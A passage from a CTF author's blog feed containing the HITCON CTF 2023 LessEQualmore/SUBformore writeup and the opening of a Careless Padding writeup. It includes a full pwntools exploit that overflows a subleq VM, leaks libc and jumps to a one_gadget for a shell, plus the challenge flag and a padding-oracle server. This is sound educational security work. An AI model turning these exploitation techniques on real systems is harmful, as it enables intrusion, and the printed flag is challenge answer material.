</div>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="Pwn" /><category term="Writeup" /><summary type="html"><![CDATA[This year I participated with ${CyStick} in MapleCTF. This post is the writeup to one of the challenges - lost-in-space. This challenge resembles the segfault labyrinth challenge from Google CTF 2022 but with more restrictions.]]></summary></entry><entry><title type="html">HITCON CTF 2023 - LessEQualmore / SUBformore</title><link href="http://blog.bronson113.org/2023/09/10/hitcon-ctf-2023-lessequalmore-subformore.html" rel="alternate" type="text/html" title="HITCON CTF 2023 - LessEQualmore / SUBformore" /><published>2023-09-10T00:00:00+00:00</published><updated>2023-09-10T00:00:00+00:00</updated><id>http://blog.bronson113.org/2023/09/10/hitcon-ctf-2023-lessequalmore-subformore</id><content type="html" xml:base="http://blog.bronson113.org/2023/09/10/hitcon-ctf-2023-lessequalmore-subformore.html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>This is a two challenge series I created for HITCON CTF 2023. It’s a subleq interpreter and program that need to be reversed and exploited.</p>

<!--more-->

<h2 id="challenge-detail">Challenge detail</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>LessEQualmore(REV):
Sometime, less (instruction) equal more (instruction) ...

SUBformore(PWN):
Apparently, less instruction doesn't mean more security. Who would have guessed?

nc chal-lessequalmore.chal.hitconctf.com 11111

author: bronson113
solves: 33(REV)/ 13(PWN)
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="recon">Recon</h2>
<p>Firstly, we are given two files, the binary file that runs the vm, and a txt file containing the bytecode. The binary file is not stripped, so it’s pretty easy to identify the instruction flow: It takes three value in the memory, subtracts the first from the second, and jump to the thrid value if the result is less than zero. Otherwise, the next three bytes are taken as input. This is a simple <code class="language-plaintext highlighter-rouge">subleq</code> interpreter, and there are a lot of information related to this. Notedly, this is a one instruction set computer (OISC) system.</p>

<p>So the program bytecode is basically subleq instructions, so at this point, one can use any interpreter they want, just need to supply the chal.txt file as the program and it should worked the same.</p>

<p>Digging a bit into the byte code file, you might notice a lot of value near $2^{24}$, this can be an indicator to how the bytecode is generate - through <a href="https://github.com/shinh/elvm">elvm</a>. Notice that in the readme file, subleq is indeed listed as one of the backends supported.</p>
<h2 id="solution---reversing">Solution - Reversing</h2>
<p>For the reversing part of this challenge, the intended solution is to lift the subleq code into elvm ir (or any other ir you desire), extract the matrixs, find the inverse, and decode the value from the matrix inverse.</p>

<p>I’ll based this writeup on the fact that you know elvm, though some other recon step can lead you to the same conclusion (albeit in much longer time).</p>
<h3 id="disassembling">Disassembling</h3>
<p>However, Disassembling the bytecode itself is already quite difficult. Due to the way that the backend generates the subleq code, some constants used in the program are mixed with the instructions, so it’s not a simple decode every three bytes sequence, but you need to follow some unconditional jumps to get there. A simple heuristic is that you can notice that if an instruction starts with 0 0 x, it’s most likely jumping to x directly if x is somewhere after the current ip. Applying this, you can get a rough subleq instruction grouping.</p>
<h3 id="lifting-the-instructions">Lifting the instructions</h3>
<p>With the subleq instructions, pattern matching is possible using either python 3.10’s new matching syntax, or other languages with matching capabilities like rust. You can implement each cases shown in the backend code to get back the elvm ir.</p>

<p>At this point it might be clear that some memory locations are often referenced, so they are likely used as a constant or as a register. This can be verified with the elvm backend source and elvm structure.</p>

<p>However, we are not done yet, if you look at the ir, there are still a lot of repeating structures. As some people mentioned the push and pop macro are extremely long, as those are macro on the ir level. At this point, you should get something like <a href="https://github.com/bronson113/My_CTF_Challenges/blob/main/HITCON%20CTF%202023/LessEQualmore/chal.eir">chal.eir</a>.</p>

<h3 id="matrix-multiplication">Matrix multiplication</h3>
<p>The last part is to identify that the program is doing matrix multiplication on the input, but the matrix is dispersed across the instructions. thankfully each value in the matrix is at most plus or minus 3, so having 6 different match cases should be doable. Notice that the location where the matrix is zero is just obmitted, so some processing is also needed to fill in that blank.</p>

<p>Anyway, after those steps, two matrixes can be extracted, and multiplying the reference vector with the inverse matrix give us the flag.</p>

<h3 id="unintended-solution">Unintended solution</h3>
<p>One other solution to this challenge (and probably how most people solved this) is to extract the transformation matrix by observing the output values. You can change one character by one to see how the result changes, and get the matrix that’s equivilant to the two matrix in the program multiplied together.</p>
<h2 id="solution---pwn">Solution - Pwn</h2>
<h3 id="vm-structure">VM structure</h3>
<p>First we need to understand how the subleq vm works. If you reference the elvm backend, you can notice that it’s structed as follow:</p>

<table>
  <tbody>
    <tr>
      <td>Init (3)</td>
      <td>Register (6)</td>
      <td>Constants (7)</td>
    </tr>
    <tr>
      <td>Memory/Stack (1024)</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Jump Table (30)</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Code Segment (…)</td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>Our input are read in a readline like fasion, and put at the start of the memory section. Naturally, you cover overflow the program and write into the jump table, thereby controlling the program counter within the VM. If you put the shellcode in your input, you can jump to your own input and execute arbitrary subleq code.</p>

<h3 id="leaking-addresses-and-rce">Leaking Addresses and RCE</h3>
<p>Since we know that the program memory is malloc with a large chunk, the program will allocate the chunk using mmap, putting it at a fix offset to libc. The vm have an issue that it does check if the memory is out of bound before reading and writing, therefore we can read arbitrary value from the libc.</p>

<p>One path is to leaverage the environment pointer in libc. We can calculate the offset of environ pointer to our chunk, and read the value into a controlled memory location. However, to utilize the value, we need a method to deference the pointer. Since each subleq value is 8 byte, we need to divide the value we get by 8 before using that as the index to the stack. It actually took me longer to divide the value than all the other steps combined.  The other path is to overwrite the stdout structure to leak value, and use subleq shellcode to read value back.</p>

<p>After you leak the value, you just overwrite the return pointer and do ROP, and that’s your shell!</p>

<h3 id="solve-script">Solve script</h3>

<div class="accordion mb-2" id="solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#solve_py-content" aria-expanded="true" aria-controls="solve_py-content">
         <p>Show exp.py</p>
 
      </button>
    </p>
    <div id="solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-solve_py" data-bs-parent="#solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
</pre></td><td class="rouge-code"><pre>#!/usr/bin/python3
from pwn import *

elf = ELF("./lessequalmore_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

#p = process(["./lessequalmore_patched", "../dist/chal.txt"])
p = remote("34.81.247.217", 11111)


def send_int(n):
    if n &gt;= 0:
        p.sendline(f"%{n}")
    else:
        n+=(1&lt;&lt;64)
        p.sendline(f"%{n}")

def send_ints(ns):
    for i in ns:
        send_int(i)

def send_str(s):
    for i in s:
        send_int(ord(i))

flag = "hitcon{r3vErs1ng_0n3_1ns7ruction_vm_1s_Ann0ying_c9adf98b67af517}"
# 64+1 -&gt; input
# 16+1 -&gt; buf
# 64 -&gt; target
# 20+1 -&gt; prompt
# 12+1 -&gt; prompt2
# 27+1 -&gt; win
# 18+1 -&gt; lose
padding = sum([64+1, 16+1, 64, 20+1, 12+1, 27+1, 18+1])
mem = 1024
print(padding)
#send_str("\x00"*(64+1+16+1+64+20+1))
#send_str("a"*(12+1+27+1+18+1))

cur_ip = 16
def subleq(a, b, target=None):
    global cur_ip
    cur_ip += 3
    if target:
        return [a, b, target]
    else:
        return [a, b, cur_ip]

def to_data(idx):
    return 19+idx

# data:
# stack offset
# r shift amount
# overflow base
# 1
# one_gadget
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8][2]

data = [1, libc.symbols['malloc'], 0x148 - (0x84000 - 0x10), 1&lt;&lt;56, 52, -1*one_gadget]
print(data)
shellcode = subleq(0, 0, cur_ip + 3 + len(data))
cur_ip+=len(data)
# data
shellcode+= data
shellcode+= subleq(1, 1)
shellcode+= subleq(to_data(0), 1) # get -1
shellcode+= subleq(2, 2)
shellcode+= subleq(3, 3)
shellcode+= subleq(4, 4)
libc_malloc = libc.got['malloc'] + 0x84000 - 0x10 # libc_offset + mmap size - heap chunk header
shellcode+= subleq(libc_malloc//8, 2)
shellcode+= subleq(2, 3)
shellcode+= subleq(to_data(1), 3) # libc base
libc_environ = libc.symbols['environ'] + 0x84000 - 0x10 # libc_offset + mmap size - heap chunk header
shellcode+= subleq(2, 2)
shellcode+= subleq(libc_environ//8, 2)
shellcode+= subleq(2, 4)
shellcode+= subleq(3, 4) # subtract libc_base
shellcode+= subleq(to_data(2), 4) # subtract offset from libc_base &amp; from environ
shellcode+= subleq(2, 2)
shellcode+= subleq(5, 5)
shellcode+= subleq(4, 2)
shellcode+= subleq(2, 5)
shellcode+= subleq(7, 7) # counter
shellcode+= subleq(2, 2)
# divide by 8
#
div_label = cur_ip
shellcode+= subleq(2, 2)
shellcode+= subleq(2, 2)
shellcode+= subleq(5, 2)
shellcode+= subleq(5, 2) # [3]-&gt;-2n
shellcode+= subleq(5, 5)
shellcode+= subleq(2, 5) # [5]-&gt;2n

shellcode+= subleq(6, 6)
shellcode+= subleq(2, 6) # [6]-&gt;2n
shellcode+= subleq(to_data(3), 6, cur_ip+12) #[if 1&lt;&lt;56 &lt; [6]] continue
shellcode+= subleq(to_data(3), 5) # [5] -= 1&lt;&lt;56
shellcode+= subleq(1, 5)          # [5] += 1
shellcode+= subleq(0, 0)
shellcode+= subleq(0, 0)
shellcode+= subleq(0, 0)
shellcode+= subleq(1, 7) # counter += 1

shellcode+= subleq(8, 8)
shellcode+= subleq(2, 2)
shellcode+= subleq(7, 2)
shellcode+= subleq(2, 8) # [8] = counter
shellcode+= subleq(to_data(4), 8, div_label)
# now [5] points to return address
shellcode+= subleq(2, 2)
shellcode+= subleq(0, 0)
shellcode+= subleq(2, 2)
shellcode+= subleq(5, 2)
shellcode+= subleq(2, cur_ip+6)
shellcode+= subleq(2, cur_ip+4)
shellcode+= subleq(0, 0)
shellcode+= subleq(to_data(5), 3)
shellcode+= subleq(3, 11)
shellcode+= subleq(2, cur_ip+4)
shellcode+= subleq(11, 0)
shellcode+= subleq(0, 0, -2)

send_ints(shellcode)

send_str("\x00" * (mem - len(shellcode)))

gdb_script = """
handle SIGSEGV stop nopass
c
set $rax=$rbx
b *op1
b *run_program+165
"""

#gdb.attach(p, gdb_script)

jmp_table = [1070,1134,1362,1558,1754,1950,2211,2456,2717,2962,3094,3110,3389,3521,3717,3720,3916,3919,4198,4333,4503,4906,5185,5325,5429,5754,25688,42696,43215,43715]
print(len(jmp_table))
jmp_table = [16] * len(jmp_table)
send_ints(jmp_table)
p.interactive()
</pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
</div>

<h2 id="how-the-challenge-is-built">How the challenge is built</h2>
<h3 id="elvm">ELVM</h3>
<p>The challenge is mostly build on top of ELVM with a small modification to the subleq backed. The default configuration would generate $2^{24}$ 0s as the memory and that would be a huge file to reverse. I changed the backend a little bit so that the output is shorter and there are no comments. The diff is as follow.</p>

<div class="accordion mb-2" id="diff_backend">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-diff_backend">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#diff_backend-content" aria-expanded="true" aria-controls="diff_backend-content">
         <p>Show diff</p>
 
      </button>
    </p>
    <div id="diff_backend-content" class="accordion-collapse collapse" aria-labelledby="hd-diff_backend" data-bs-parent="#diff_backend">
      <div class="accordion-body pb-0">
          
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
</pre></td><td class="rouge-code"><pre><span class="gh">diff --git a/target/subleq.c b/target/subleq.c
index a5c1341..ee1596d 100644
</span><span class="gd">--- a/target/subleq.c
</span><span class="gi">+++ b/target/subleq.c
</span><span class="p">@@ -13,6 +13,8 @@</span>
 #define SUBLEQ_NEG_UINTMAX_CONST (15)
 #define SUBLEQ_REG(regnum) (regnum + 3)
 #define SUBLEQ_MEM(index) (index + 16)
<span class="gi">+#define VM_MEMORY_LIMIT (1&lt;&lt;10)
+#define VM_SP_INIT (VM_MEMORY_LIMIT - 1)
</span> static const int32_t SUBLEQ_OPS_TABLE[7][3] = {
   {1, 0, 0}, // EQ, JEQ
   {0, 1, 1}, // NE, JNE
<span class="p">@@ -150,17 +152,19 @@</span> static void init_state_subleq(Data* data) {
   subleq.word_on = 0;

   // Data length always includes 7 registers and 6 constants
<span class="gd">-  size_t data_length = 13 + (1 &lt;&lt; 24) - 1 + subleq.pc_cnt;
</span><span class="gi">+  size_t data_length = 13 + VM_MEMORY_LIMIT - 1 + subleq.pc_cnt;
</span>
   subleq_emit_instr(0, 0, data_length + 4);
   // Emit registers
<span class="gd">-  emit_line("0 0 0 0 0 0 0");
</span><span class="gi">+  // Init SP to -1 in the VM memory so we can adjust memory size
+  // instead of relying on underflow
+  emit_line("0 0 0 0 0 %d 0", VM_SP_INIT);
</span>   // Emit constants
   emit_line("-1 1 %d %d %d -%d",
               SUBLEQ_MEM(0), subleq.jump_table_start,
               UINT_MAX + 1, UINT_MAX + 1);

-  for (int mp = 0; mp &lt; (1 &lt;&lt; 24); mp++) {
<span class="gi">+  for (int mp = 0; mp &lt; VM_MEMORY_LIMIT; mp++) {
</span>
     if (mp != 0 &amp;&amp; mp % SUBLEQ_MAX_WORDS_LINE == 0){
       emit_line("");
<span class="p">@@ -171,10 +175,10 @@</span> static void init_state_subleq(Data* data) {
       data = data-&gt;next;

       if (!data){
<span class="gd">-        emit_line("\n#{loc_skip:%d}", (1 &lt;&lt; 24) - mp - 1);
</span><span class="gi">+        //emit_line("\n#{loc_skip:%d}", VM_MEMORY_LIMIT - mp - 1);
</span>       }

-    } else if (((1 &lt;&lt; 24) - mp) % SUBLEQ_MAX_WORDS_LINE != 0){
<span class="gi">+    } else if ((VM_MEMORY_LIMIT - mp) % SUBLEQ_MAX_WORDS_LINE != 0){
</span>       emit_str("0 ");
     } else {
       emit_str("\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0");
<span class="p">@@ -198,7 +202,7 @@</span> static void subleq_emit_inst(Inst* inst) {
   switch (inst-&gt;op) {
   case MOV:
     {
<span class="gd">-      emit_line("# Doing move");
</span><span class="gi">+      //emit_line("# Doing move");
</span>       int32_t src_loc = (inst-&gt;src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst-&gt;src.reg) : subleq_emit_imm(inst-&gt;src.imm);
       subleq_emit_zero(SUBLEQ_REG(inst-&gt;dst.reg));
<span class="p">@@ -207,18 +211,18 @@</span> static void subleq_emit_inst(Inst* inst) {
     break;

   case ADD:
<span class="gd">-    {
-      emit_line("# Doing add");
</span><span class="gi">+       {
+      //emit_line("# Doing add");
</span>       int32_t src_loc = (inst-&gt;src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst-&gt;src.reg) : subleq_emit_imm(inst-&gt;src.imm);
<span class="gd">-      subleq_emit_add(src_loc, SUBLEQ_REG(inst-&gt;dst.reg));
-      subleq_emit_wrap_umaxint(SUBLEQ_REG(inst-&gt;dst.reg));
-    }
-    break;
</span><span class="gi">+                 subleq_emit_add(src_loc, SUBLEQ_REG(inst-&gt;dst.reg));
+                 subleq_emit_wrap_umaxint(SUBLEQ_REG(inst-&gt;dst.reg));
+         }
+         break;
</span>
   case SUB:
     {
<span class="gd">-      emit_line("# Doing sub");
</span><span class="gi">+      //emit_line("# Doing sub");
</span>       int32_t src_loc = (inst-&gt;src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst-&gt;src.reg) : subleq_emit_imm(inst-&gt;src.imm);
       subleq_emit_sub(src_loc, SUBLEQ_REG(inst-&gt;dst.reg));
<span class="p">@@ -228,11 +232,11 @@</span> static void subleq_emit_inst(Inst* inst) {

   case LOAD:
     if (inst-&gt;src.type == IMM){
<span class="gd">-      emit_line("# Doing load imm");
</span><span class="gi">+      //emit_line("# Doing load imm");
</span>       subleq_emit_zero(SUBLEQ_REG(inst-&gt;dst.reg));
       subleq_emit_add(SUBLEQ_MEM(inst-&gt;src.imm), SUBLEQ_REG(inst-&gt;dst.reg));
     } else if (inst-&gt;src.type == REG){
<span class="gd">-      emit_line("# Doing load reg");
</span><span class="gi">+      //emit_line("# Doing load reg");
</span>       subleq_emit_add(SUBLEQ_REG(inst-&gt;src.reg), 1);
       subleq_emit_add(SUBLEQ_MEM_START_CONST, 1);
       subleq_emit_load_dblptr(1, SUBLEQ_REG(inst-&gt;dst.reg));
<span class="p">@@ -242,11 +246,11 @@</span> static void subleq_emit_inst(Inst* inst) {

   case STORE:
     if (inst-&gt;src.type == IMM){
<span class="gd">-      emit_line("# Doing store imm");
</span><span class="gi">+      //emit_line("# Doing store imm");
</span>       subleq_emit_zero(SUBLEQ_MEM(inst-&gt;src.imm));
       subleq_emit_add(SUBLEQ_REG(inst-&gt;dst.reg), SUBLEQ_MEM(inst-&gt;src.imm));
     } else if (inst-&gt;src.type == REG){
<span class="gd">-      emit_line("# Doing store reg dest: %s src: %s", reg_names[inst-&gt;src.reg], reg_names[inst-&gt;dst.reg]);
</span><span class="gi">+      //emit_line("# Doing store reg dest: %s src: %s", reg_names[inst-&gt;src.reg], reg_names[inst-&gt;dst.reg]);
</span>       subleq_emit_add(SUBLEQ_REG(inst-&gt;src.reg), 1);
       subleq_emit_add(SUBLEQ_MEM_START_CONST, 1);
       subleq_emit_store_dblptr(SUBLEQ_REG(inst-&gt;dst.reg), 1);
<span class="p">@@ -256,7 +260,7 @@</span> static void subleq_emit_inst(Inst* inst) {

   case PUTC:
     {
<span class="gd">-      emit_line("# Putting char");
</span><span class="gi">+      //emit_line("# Putting char");
</span>       int32_t src_loc = (inst-&gt;src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst-&gt;src.reg) : subleq_emit_imm(inst-&gt;src.imm);
       subleq_emit_instr(src_loc, -1, subleq.word_on + 3);
<span class="p">@@ -264,7 +268,7 @@</span> static void subleq_emit_inst(Inst* inst) {
     break;

   case GETC:
<span class="gd">-    emit_line("# Getting char");
</span><span class="gi">+    //emit_line("# Getting char");
</span>     subleq_emit_instr(-1, SUBLEQ_REG(inst-&gt;dst.reg), subleq.word_on + 3);
     subleq_emit_cmp(SUBLEQ_REG(inst-&gt;dst.reg), SUBLEQ_NEG_ONE_CONST, 6, 3, 3);
     subleq_emit_sub(SUBLEQ_ONE_CONST, SUBLEQ_REG(inst-&gt;dst.reg));
<span class="p">@@ -272,7 +276,7 @@</span> static void subleq_emit_inst(Inst* inst) {
     break;

   case EXIT:
<span class="gd">-    // emit_line("# Exiting");
</span><span class="gi">+    //emit_line("# Exiting");
</span>     subleq_emit_instr(0, 0, -1);
     break;

@@ -286,7 +290,7 @@ static void subleq_emit_inst(Inst* inst) {
   case LE:
   case GE:
     {
<span class="gd">-      emit_line("# Doing comparison");
</span><span class="gi">+      //emit_line("# Doing comparison");
</span>       int32_t src_loc = (inst-&gt;src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst-&gt;src.reg) : subleq_emit_imm(inst-&gt;src.imm);

@@ -312,7 +316,7 @@ static void subleq_emit_inst(Inst* inst) {
   case JLE:
   case JGE:
     {
<span class="gd">-      emit_line("# Doing cond jump to pc %d", inst-&gt;jmp.type == REG ? -1 : inst-&gt;jmp.imm);
</span><span class="gi">+      //emit_line("# Doing cond jump to pc %d", inst-&gt;jmp.type == REG ? -1 : inst-&gt;jmp.imm);
</span>       int32_t src_loc = (inst-&gt;src.type == REG) ? (int32_t)SUBLEQ_REG(
         inst-&gt;src.reg) : subleq_emit_imm(inst-&gt;src.imm);
       int32_t jmp_loc = (inst-&gt;jmp.type == REG) ? (int32_t)SUBLEQ_REG(
<span class="p">@@ -336,7 +340,7 @@</span> static void subleq_emit_inst(Inst* inst) {

   case JMP:
     {
<span class="gd">-      emit_line("# Doing jump");
</span><span class="gi">+      //emit_line("# Doing jump");
</span>       int32_t jmp_loc = (inst-&gt;jmp.type == REG) ? (int32_t)SUBLEQ_REG(
         inst-&gt;jmp.reg) : subleq_emit_imm(inst-&gt;jmp.imm);

@@ -387,7 +391,7 @@ void target_subleq(Module* module) {
   prev_pc = -1;
   for (Inst* inst = module-&gt;text; inst; inst = inst-&gt;next) {
     if (prev_pc != inst-&gt;pc) {
<span class="gd">-      emit_line("\n# PC = %d", inst-&gt;pc);
</span><span class="gi">+      //emit_line("\n# PC = %d", inst-&gt;pc);
</span>     }
     prev_pc = inst-&gt;pc;
     emit_line("");
</pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
</div>

<h3 id="ir-generation">IR Generation</h3>
<p>I first tried to use the C frontend that was provided by elvm, but then realized that it generated way too much code (Seems like it doesn’t perform dead code elimination in it’s pipeline), making the output file too large to reasonably reverse. Therefore, I end up writing a python script to generate the IR for me. I created some macros for defining labels, functions, and basic push/pop instructions as they aren’t defined in elvm IR. It’s pretty interesting for me to come up with the calling conventions and other stuff. The generator code can be found <a href="https://github.com/bronson113/My_CTF_Challenges/blob/main/HITCON%20CTF%202023/LessEQualmore/gen.py">here</a></p>

<h2 id="potential-improvements">Potential Improvements</h2>
<p>This is the section mostly to conclude what goes wrong and what this challenge can potentially be so I don’t make the same mistakes again (Though I probably will anyway lol). I hope this can also provide insight to other people when creating challenges.</p>

<h3 id="linear-relationship">Linear relationship</h3>
<p>As mentioned in the unintended solution section, one way to solve the reserving part of the challenge is to observe the linear relationship between the input and output. This should be kept in mind when desiging a flag checker type program. Often there are some ways to observe the program’s input/output state and extract information related to the process. Adding some sort of SBOX in this case should be sufficient in preventing the unintended solution.</p>

<h3 id="exploring-potential-for-the-vm">Exploring potential for the VM</h3>
<p>I think I didn’t put enough time into exploring the VM structure. Mentioned by @theKidOfArcrania on discord, this challenge can totally leaverage the calling convention and require the player to perform something similar to a ROP within the VM as well, instead of having the ability to modify code itself, as some people used in their solution. Having a stack overflow that end up overwriting the register section and pointing the SP to a controlled area would have been a fun idea to explore, and add some complexity to the pwn aspect of this challenge.</p>

<h2 id="conclusion">Conclusion</h2>
<p>I guess I’ve already speaked too much in this article. Anyway I hoped that everyone that attempted this challenge have fun, and learned something about reversing / pwning a single instruction vm :)</p>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="My Challenge" /><category term="Pwn" /><category term="Rev" /><summary type="html"><![CDATA[Challenge Description This is a two challenge series I created for HITCON CTF 2023. It’s a subleq interpreter and program that need to be reversed and exploited.]]></summary></entry><entry><title type="html">HITCON CTF 2023 - Careless Padding</title><link href="http://blog.bronson113.org/2023/09/08/hitconctf-2023-careless-padding.html" rel="alternate" type="text/html" title="HITCON CTF 2023 - Careless Padding" /><published>2023-09-08T00:00:00+00:00</published><updated>2023-09-08T00:00:00+00:00</updated><id>http://blog.bronson113.org/2023/09/08/hitconctf-2023-careless-padding</id><content type="html" xml:base="http://blog.bronson113.org/2023/09/08/hitconctf-2023-careless-padding.html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>This is a challenge I created for HITCON CTF 2023. As the name sugguests, this is a challenge related to padding oracle attack.</p>

<p>You might say: “Hey that’s boring, everyone know padding oracle already… What’s new?”</p>

<p>Well, what about a whole new padding methods? I hope this sparks your interest, and keep reading for my writeup and thought process for creating this challenge.</p>

<!--more-->

<h2 id="challenge-detail">Challenge detail</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>How careless can you be as an assistant...

nc chal-careless-padding.chal.hitconctf.com 11111

author: bronson113
solves: 30
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are presented with the challenge code as follows</p>

<div class="accordion mb-2" id="server_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-server_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#server_py-content" aria-expanded="true" aria-controls="server_py-content">
         <p>Show server.py</p>
 
      </button>
    </p>
    <div id="server_py-content" class="accordion-collapse collapse" aria-labelledby="hd-server_py" data-bs-parent="#server_py">
      <div class="accordion-body pb-0">
          
<pre><code class="language-python!=">#!/usr/bin/python3
import random
import os
from secret import flag
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import json

N = 16

# 0 -&gt; 0, 1~N -&gt; 1, (N+1)~(2N) -&gt; 2 ...
def count_blocks(length):
    block_count = (length-1) // N + 1
    return block_count

def find_repeat_tail(message):
    Y = message[-1]
    message_len = len(message)
    for i in range(len(message)-1, -1, -1):
        if message[i] != Y:
            X = message[i]
            message_len = i + 1
            break
    return message_len, X, Y

def my_padding(message):
    message_len = len(message)
    block_count = count_blocks(message_len)
    result_len =  block_count * N
    if message_len % N == 0:
        result_len += N
    X = message[-1]
    Y = message[(block_count-2)*N+(X%N)]
    if X==Y:
        Y = Y^1
    padded = message.ljust(result_len, bytes([Y]))
    return padded

def my_unpad(message):
    message_len, X, Y = find_repeat_tail(message)
    block_count = count_blocks(message_len)
    _Y = message[(block_count-2)*N+(X%N)]
    if (Y != _Y and Y != _Y^1):
        raise ValueError("Incorrect Padding")
    return message[:message_len]

def chal():
    k = os.urandom(16)
    m = json.dumps({'key':flag}).encode()
    print(m)

    iv = os.urandom(16)
    cipher = AES.new(k, AES.MODE_CBC, iv)

    padded = my_padding(m)
    enc = cipher.encrypt(padded)
    print(f"""
*********************************************************
You are put into the classical prison and trying to escape.
Thanksfully, someone forged a key for you, but seems like it's encrypted...
Fortunately they also leave you a copied (and apparently alive) prison door.
The replica pairs with this encrypted key. Wait, how are this suppose to help?
Anyway, here's your encrypted key: {(iv+enc).hex()}
*********************************************************
""")

    while True:
        enc = input("Try unlock:")
        enc = bytes.fromhex(enc)
        iv = enc[:16]
        cipher = AES.new(k, AES.MODE_CBC, iv)
        try:
            message = my_unpad(cipher.decrypt(enc[16:]))
            if message == m:
                print("Hey you unlock me! At least you know how to use the key")
            else:
                print("Bad key... do you even try?")
        except ValueError:
            print("Don't put that weirdo in me!")
        except Exception:
            print("What? Are you trying to unlock me with a lock pick?")

if __name__ == "__main__":
    chal()
</code></pre>
 
      </div>
    </div>
  </div>
</div>

<p>This padding method is taken from <a href="https://link.springer.com/chapter/10.1007/978-3-319-30840-1_21">this paper</a>. The “New Padding Method 3” in particular. The paper claims that these padding methods will be resistant to padding oracle attacks, as the attackers have little probablility of creating a valid padding, and therefore little information can be gathered from the oracle. I first saw this paper when I’m working on a final project for one of my cryptography course, and notice that the method proposed are not exactly secure. After a little bit of fiddling, I realized that all the methods can be broken with relative ease. Among all three, the third padding method is definitely the easiest.</p>

<p>The challenge itself is simple. The flag is padding with this new method, then encrypted using AES CBC mode. The server then take user input in hex, decrypts it, unpad, and check the “key”. It’s clear that if an padding error occured, the server will respond differently. This is obviously an oracle. So the matter is how to leverage this knowledge to leak out the flag.</p>

<h2 id="understanding-the-padding">Understanding the padding</h2>

<p>By reading the padding code (or by looking up the graphs from the paper), we can start to understand how the padding works. Essentially, the idea is that the padding is one byte chosen from the previous block. This binds the padding result to both the last and the second to last block. When padding the string, the last byte of the plaintext ($X$ in the paper) is used to index into the second to last block, and the bytes pointed by that index will be used as the padding byte ($Y$ in th paper). If the chosen byte happens to be the same as the last byte, we xor the result with 1 so the padding pad is different from the last byte. The unpadding method works in reverse. We first find the repeating bytes at the end and removs them. We then verify if the removed bytes matches the byte indexed by the last plaintext byte. Due to the nature of the padding, the last bit of the verification isn’t checked.</p>

<blockquote>
  <p>When I created the challenge, I actually read the padding part wrong! How “careless” am I… It states that the xor with 1 check should be verified by double checking if Y and the indexed byte matches. This, however, was later discovered by myself to be easier to exploit, so I kept the earlier version. See the appendix for more information.</p>
</blockquote>

<p>Now this property that the padding byte is dependent on the previous block really hinders our ability to do padding oracle. If we thinking about the common CBC padding oracle with PKCS#1.7 . We can flip bits in the iv to control the decrypted output of the block. But now this would not be an effective measure here since that will also changed what the iv block decrypts to. So the padding will jump around. Even if we hit and success padding, we have no way to know what byte the padding is exactly, since the output of decrypting with AES can be seen as random without knowning the key.</p>
